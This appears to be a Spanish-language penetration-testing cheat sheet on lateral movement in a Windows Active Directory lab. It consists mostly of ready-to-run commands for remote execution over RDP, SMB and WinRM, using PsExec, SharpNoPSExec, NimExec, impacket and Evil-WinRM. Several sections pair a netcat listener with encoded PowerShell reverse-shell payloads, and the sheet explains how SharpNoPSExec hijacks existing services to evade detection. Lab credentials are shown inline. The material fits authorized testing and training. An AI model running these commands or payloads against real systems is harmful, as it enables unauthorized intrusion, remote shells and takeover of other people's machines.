Movimiento Lateral

RDP

xfreerdp

xfreerdp /u:'<USER>' /p:'<PASSWORD>' /d:hacklab.local /v:192.168.56.10 /dynamic-resolution /drive:.,linux /bpp:8 /compression -themes -wallpaper /clipboard /audio-mode:0 /auto-reconnect -glyph-cache

Parámetros:

  • /bpp:8: Reduce la profundidad del color a 8 bits por píxel, disminuyendo la cantidad de datos transmitidos.
  • /compression: Habilita la compresión para reducir la cantidad de datos enviados a través de la red.
  • -themes: Desactiva los temas del escritorio para reducir los datos gráficos.
  • -wallpaper: Desactiva el fondo de pantalla del escritorio para reducir aún más los datos gráficos.
  • /clipboard: permite compartir el portapapeles entre las máquinas locales y remotas.
  • /audio-mode:0: Desactiva la redirección de audio para ahorrar ancho de banda.
  • /auto-reconnect: Se vuelve a conectar automáticamente si la conexión se interrumpe, lo que mejora la estabilidad de la sesión.
  • -glyph-cache: permite el almacenamiento en caché de glifos (caracteres de texto) para reducir la cantidad de datos enviados para la representación de texto.

SMB

PsExec

PsExec está incluido en el conjunto de herramientas Sysinternals de Microsoft, una colección de herramientas diseñadas para ayudar a los administradores en tareas de gestión del sistema. Esta herramienta facilita la ejecución remota de comandos y recupera la salida a través de un pipe con nombre utilizando el protocolo SMB, operando en el puerto TCP 445 y el puerto TCP 139.

.\PsExec.exe \\MS02 -i -u HACKLAB.LOCAL\elliot -p Password123 cmd

SharpNoPSExec

SharpNoPSExec es una herramienta diseñada para facilitar el movimiento lateral aprovechando los servicios existentes en un sistema de destino sin crear otros nuevos ni escribir en el disco, minimizando así el riesgo de detección. La herramienta consulta todos los servicios en la máquina de destino, identificando aquellos con un tipo de inicio configurado como deshabilitado o manual, estado actual de detenido y ejecutándose con privilegios de LocalSystem. Selecciona aleatoriamente uno de estos servicios y modifica temporalmente su ruta binaria para apuntar a una carga útil elegida por el atacante. Tras la ejecución, SharpNoPSExec espera aproximadamente 5 segundos antes de restaurar la configuración original del servicio, devolviendo el servicio a su estado anterior. Este enfoque no solo proporciona un shell, sino que también evita la creación de nuevos servicios, lo que podría ser detectado por los sistemas de monitoreo de seguridad.

Nos ponemos en escucha con Netcat

rlwrap nc -lnvp 4444

Ejecutamos SharpNoPSExec

.\SharpNoPSExec.exe --target=192.168.56.10 --payload="c:\windows\system32\cmd.exe /c powershell -exec bypass -nop -e ...SNIP...AbwBzAGUAKAApAA=="

Creamos un shell en revshells.com

NimExec

NimExec es una herramienta de ejecución remota de comandos sin archivos que utiliza el Protocolo de Control de Servicios Remotos (MS-SCMR). Manipula la ruta binaria de un servicio con privilegios de LocalSystem para ejecutar comandos en la máquina objetivo y luego restaura la configuración original. Funciona enviando paquetes RPC personalizados a través de SMB y el pipe svcctl, autenticándose mediante un hash NTLM. Al evitar funciones específicas del sistema operativo y aprovechar la compilación cruzada de Nim, NimExec es compatible con múltiples sistemas operativos, ofreciendo una solución versátil y eficiente.

Nos ponemos en escucha con Netcat

rlwrap nc -lnvp 4444

Ejecutamos NimExec

.\NimExec -u <user> -d hacklab.local -p <password> -t 192.168.56.10 -c "cmd.exe /c powershell -e JABjAGwAaQBlAG...SNIP...AbwBzAGUAKAApAA==" -v

psexec.py

impacket-psexec HACKLAB.LOCAL/<USER>:'<PASSWORD>'@192.168.56.10

smbexec.py

impacket-smbexec HACKLAB.LOCAL/<USER>:'<PASSWORD>'@192.168.56.10

atexec.py

El script atexec.py utiliza el servicio Programador de tareas de Windows, al que se puede acceder a través de la tubería SMB atsvc. Nos permite agregar de forma remota una tarea al programador, que se ejecutará en el momento designado.

Con esta herramienta, la salida del comando se envía a un archivo, al que posteriormente se accede a través del recurso compartido ADMIN$. Para que esta utilidad sea efectiva, es esencial sincronizar los relojes de la computadora atacante y de la computadora objetivo al minuto exacto.

Podemos aprovechar esta herramienta insertando un reverse shell en el host de destino.

Nos ponemos en escucha con Netcat

rlwrap nc -lnvp 4444

Ahora pasemos el nombre de dominio, el usuario administrador, la contraseña y la dirección IP de destino. <domain>/<user>:<password>@<ip>y, por último, podemos pasar nuestro payload de reverse shell para que se ejecute.

impacket-atexec HACKLAB.LOCAL/<USER>:'<PASSWORD>'@192.168.56.10 "powershell -e ...SNIP...AbwBzAGUAKAApAA=="

WinRM

Windows Remote Management (WinRM) es la versión de Microsoft del protocolo WS-Management (Web Services-Management) , un protocolo estándar para administrar software y hardware de forma remota. WinRM facilita la transferencia de datos de administración entre computadoras, lo que permite a los administradores realizar una variedad de tareas, como ejecutar scripts y recuperar datos de eventos de sistemas remotos.

WinRM se usa comúnmente junto con PowerShell con fines administrativos y de automatización, lo que lo convierte en una herramienta indispensable para administrar entornos Windows. Proporciona un método seguro y eficiente para interactuar con sistemas remotos, aprovechando los estándares web establecidos para garantizar la compatibilidad y la flexibilidad. La comunicación WinRM utiliza principalmente el puerto TCP 5985 para HTTP y 5986 para HTTPS.

netexec winrm 192.168.56.10 -u <user> -p <password>

Invoke-Command

Podemos usar PowerShell para interactuar con WinRM en Windows, PowerShell tiene cmdlets como Invoke-Command y Enter-PSSession para administrar y ejecutar comandos en sistemas remotos.

Invoke-Command -ComputerName MS02 -ScriptBlock { hostname;whoami }

Además, podemos especificar credenciales con el parámetro -Credential:

PS C:\Tools> $username = "HACKLAB.LOCAL\elliot"
PS C:\Tools> $password = "Password123"
PS C:\Tools> $securePassword = ConvertTo-SecureString $password -AsPlainText -Force
PS C:\Tools> $credential = New-Object System.Management.Automation.PSCredential ($username, $securePassword)
PS C:\Tools> Invoke-Command -ComputerName 192.168.56.10 -Credential $credential -ScriptBlock { whoami; hostname }
hacklab.local\elliot
DC01

Si usamos la IP en lugar del nombre de la computadora, debemos usar credenciales explícitas o, alternativamente, podemos usar la bandera -Authentication Negotiate en lugar de proporcionar credenciales explícitas.

WINRS

winrs (Windows Remote Shell) es una herramienta de línea de comandos que permite ejecutar comandos en una máquina con Windows utilizando WinRM de forma remota. A continuación se muestra un ejemplo de cómo utilizar winrs para ejecutar un comando en un servidor remoto:

PS C:\Tools> winrs -r:MS02 "powershell -c whoami;hostname"
hacklab.local\elliot
DC01

winrs también nos permite usar credenciales explícitas con las opciones /username:<username> y /password:<password> así:

PS C:\Tools> winrs /remote:MS02 /username:elliot /password:Password123 "powershell -c whoami;hostname"
hacklab.local\elliot
DC01

Enter-PSSession

Podemos usar el Cmdlet Enter-PSSession para un shell interactivo usando PowerShell Remoting. Este cmdlet nos permite iniciar una sesión interactiva con la computadora remota, ya sea utilizando una sesión creada con New-PSSession, especificando credenciales explícitas, o aprovechando la sesión actual donde se ejecuta el comando. Por ejemplo, reutilicemos el $sessionMS02 variable que creamos anteriormente. Especificando el Enter-PSSession y la variable nos dará un mensaje interactivo de PowerShell en la computadora remota, lo que nos permite ejecutar comandos como si nos registraran directamente.

PS C:\Temp> $username = "HACKLAB.LOCAL\elliot"
PS C:\Temp> $password = "Password123"
PS C:\Temp> $securePassword = ConvertTo-SecureString $password -AsPlainText -Force
PS C:\Temp> $credential = New-Object System.Management.Automation.PSCredential ($username, $securePassword)
PS C:\Temp> $sessionMS02 = New-PSSession -ComputerName MS02 -Credential $credential
PS C:\Temp> Enter-PSSession $sessionMS02
[MS02]: PS C:\Users\elliot\Documents>

NetExec

Con NetExec podemos usar la opción -x para ejecutar comandos CMD o PowerShell. Por ejemplo, para ejecutar un comando básico como ipconfig podemos usar el siguiente comando:

netexec winrm 192.168.56.10 -u elliot -p Password123 -x "ipconfig"

Evil-WinRM

Evil-WinRM es una herramienta basada en Ruby que facilita la interacción con WinRM desde Linux. Ofrece una interfaz sencilla para ejecutar comandos y administrar sistemas Windows de forma remota.

Una vez instalado, podemos usar evil-winrm para conectarse a una máquina Windows remota y ejecutar comandos. Debemos especificar la opción. -i <target> y las credenciales con las opciones -u '<domain>\<user>' para usuarios y para contraseña -p <password>:

evil-winrm -i 192.168.56.10 -u elliot -p Password123